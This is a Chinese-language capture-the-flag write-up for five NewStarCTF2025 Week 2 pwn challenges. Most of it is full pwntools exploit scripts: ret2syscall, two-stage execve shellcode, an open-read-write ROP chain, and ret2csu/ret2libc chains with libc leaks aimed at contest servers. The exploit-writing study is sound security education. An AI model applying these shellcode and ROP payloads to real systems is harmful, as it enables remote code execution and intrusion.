NewStarCTF2025-Week2-Pwn
目录
1、Syscall
2、刻在栈里的秘密
3、input_small_function
4、no shell
5、calc_beta
1、Syscall
程序是静态链接的,就是打32位的ret2syscall
没有/bin/sh,我们系统调用read写入,然后再系统调用execve
Exp:
from pwn import *context(arch = 'i386',os = 'linux',log_level = 'debug')elf = ELF('./pwn')io = remote('8.147.134.121',20659)#io=process('./pwn')offset = 22pop_eax = 0x080b438apop_ebx = 0x08049022pop_ecx = 0x0804985apop_edx = 0x0804985cint_0x80 = 0x08073a00bss_addr = elf.bss()read_addr = elf.symbols['read']payload = cyclic(offset)+p32(pop_eax)+p32(0x3)+p32(pop_edx)+p32(0x20)+p32(pop_ecx)+p32(bss_addr)+p32(pop_ebx)+p32(0)+p32(int_0x80)+p32(pop_eax)+p32(0xb)+p32(pop_edx)+p32(0)+p32(pop_ecx)+p32(0)+p32(pop_ebx)+p32(bss_addr)+p32(int_0x80)io.sendlineafter("pwn it guys!\n",payload)io.sendline('/bin/sh\x00')io.interactive()
2、刻在栈里的秘密
利用FSB泄露栈上的内容
3、input_small_function
输入内容会被当做函数执行
Shellcode长度受限,我们二次读入即可
Exp:
from pwn import *context(arch='amd64', os='linux', log_level='debug')HOST = '47.94.87.199'PORT = 22583io = remote(HOST, PORT)# stage1: small read-then-jmp stub (<= 20 bytes)stage1 = asm("""xor rax, raxxor rdi, rdimov esi, 0x00114514mov edx, 0x100syscalljmp rsi""")assert len(stage1) <= 0x14print("stage1 len:", len(stage1))# stage2: full execve("/bin/sh", ["/bin/sh", NULL], NULL)stage2 = asm("""xor rax, raxmovabs rbx, 0x0068732f6e69622f /* "/bin/sh\x00" */push rbxmov rdi, rspxor rsi, rsipush rsipush rdimov rsi, rspxor rdx, rdxmov al, 59syscall""")print("stage2 len:", len(stage2))io.recvuntil(b"please input a small function (also after compile)\n")io.send(stage1) sleep(0.05)io.send(stage2)io.interactive()
4、no shell
禁用了 execve
存在栈溢出,打orw
注意到一个比较奇怪的gadget,会将返回值复制到rdi
说几个需要注意的点吧,一个是新开的flag文件fd好像不是3
在本地直接给3可以打通,远程有点问题,因此借助上面提到的gadget
其次,文件名叫flag,不要被伪代码里的flag.txt误导了
Exp:
from pwn import *context(os='linux', arch='amd64', log_level='debug')elf = ELF('./pwn')io = remote('47.94.87.199',30724)io.sendlineafter('Do you want to say something?','y')io.sendlineafter('leave or capture the flag?','2')io.sendlineafter('your choice:','2')io.sendlineafter('your choice:','1')offset = 0x20 + 8bss_addr = elf.bss()pop_rdi = 0x4013f3pop_rsi = 0x4013f5pop_rdx = 0x4013f7mov_rdi_rax_ret = 0x4013f9open_plt = elf.plt['open']read_plt = elf.plt['read']write_plt = elf.plt['write']payload = b'A' * offsetpayload += p64(pop_rdi) + p64(0)payload += p64(pop_rsi) + p64(bss_addr)payload += p64(pop_rdx) + p64(0x20)payload += p64(read_plt)payload += p64(pop_rdi) + p64(bss_addr)payload += p64(pop_rsi) + p64(0)payload += p64(open_plt)payload += p64(mov_rdi_rax_ret)payload += p64(pop_rsi) + p64(bss_addr)payload += p64(pop_rdx) + p64(0x50)payload += p64(read_plt)payload += p64(pop_rdi) + p64(1)payload += p64(pop_rsi) + p64(bss_addr)payload += p64(pop_rdx) + p64(0x50)payload += p64(write_plt)io.sendlineafter('say something:', payload)io.send(b"flag\x00")io.interactive()
5、calc_beta
edit_numbers函数内存在越界写
当v3=0时,result = a1 – 8
这个位置正好是edit_numbers函数的返回地址
因为gadget里面控制不了rdx,考虑打ret2csu
这里call的是r12,r13、r14、r15对应rdi、rsi、rdx
Exp:
from pwn import *context(arch = 'amd64',os = 'linux',log_level = 'debug')#io = process('./calc')io = remote('8.147.132.32',16814)elf = ELF('./calc')#gdb.attach(io)#pause()write_plt = elf.plt['write']write_got = elf.got['write']read_plt = elf.plt['read']main_addr = 0x4010B4pop_rdi = 0x401253ret_addr = 0x4006b6csu1 = 0x40124Acsu2 = 0x401230def edit(idx,num):io.sendlineafter('>','2')io.sendlineafter('>',str(idx))io.sendlineafter('>',str(num))edit(1,0) #rbx=0edit(2,1) #rbp=1edit(3,write_got) #r12edit(4,1) #r13=rdiedit(5,write_got) #r14=rsiedit(6,8) #r15=rdxedit(7,csu2)edit(8,1) # pop paddingedit(9,1)edit(10,1)edit(11,1)edit(12,1)edit(13,1)edit(14,1)edit(15,main_addr)edit(0,csu1)write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))print(hex(write_addr))libc = ELF('./libc.so.6')libc_base = write_addr - libc.symbols['write']system_addr = libc_base + libc.symbols['system']bin_sh_addr = libc_base + next(libc.search('/bin/sh'))edit(1,bin_sh_addr)edit(2,ret_addr)edit(3,system_addr)edit(0,pop_rdi)io.interactive()
其实我们还是可以控制rdx
注意到getnum函数内的read默认读取字节为0x90
完全够用了
Leak libc后返回到main函数就可以再次利用那个越界写的漏洞
Exp2:直接打ret2libc
from pwn import *context(arch = 'amd64',os = 'linux',log_level = 'debug')#io = process('./pwn')io = remote('8.147.132.32',16814)elf = ELF('./pwn')io.sendlineafter('>','2')io.sendlineafter('>','0')io.sendlineafter('>',str(0x40092a))#gdb.attach(io)#pause()write_plt = elf.plt['write']write_got = elf.got['write']read_plt = elf.plt['read']main_addr = 0x4010B4pop_rdi = 0x401253pop_rsi_r15 = 0x401251ret_addr = 0x4006b6bss_addr = elf.bss()payload = p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(ret_addr) + p64(main_addr)io.sendline(payload)write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))print(hex(write_addr))libc = ELF('./libc.so.6')libc_base = write_addr - libc.symbols['write']system_addr = libc_base + libc.symbols['system']bin_sh_addr = libc_base + next(libc.search('/bin/sh'))io.sendlineafter('>','2')io.sendlineafter('>','0')io.sendlineafter('>',str(0x40092a))payload = p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)io.sendline(payload)io.interactive()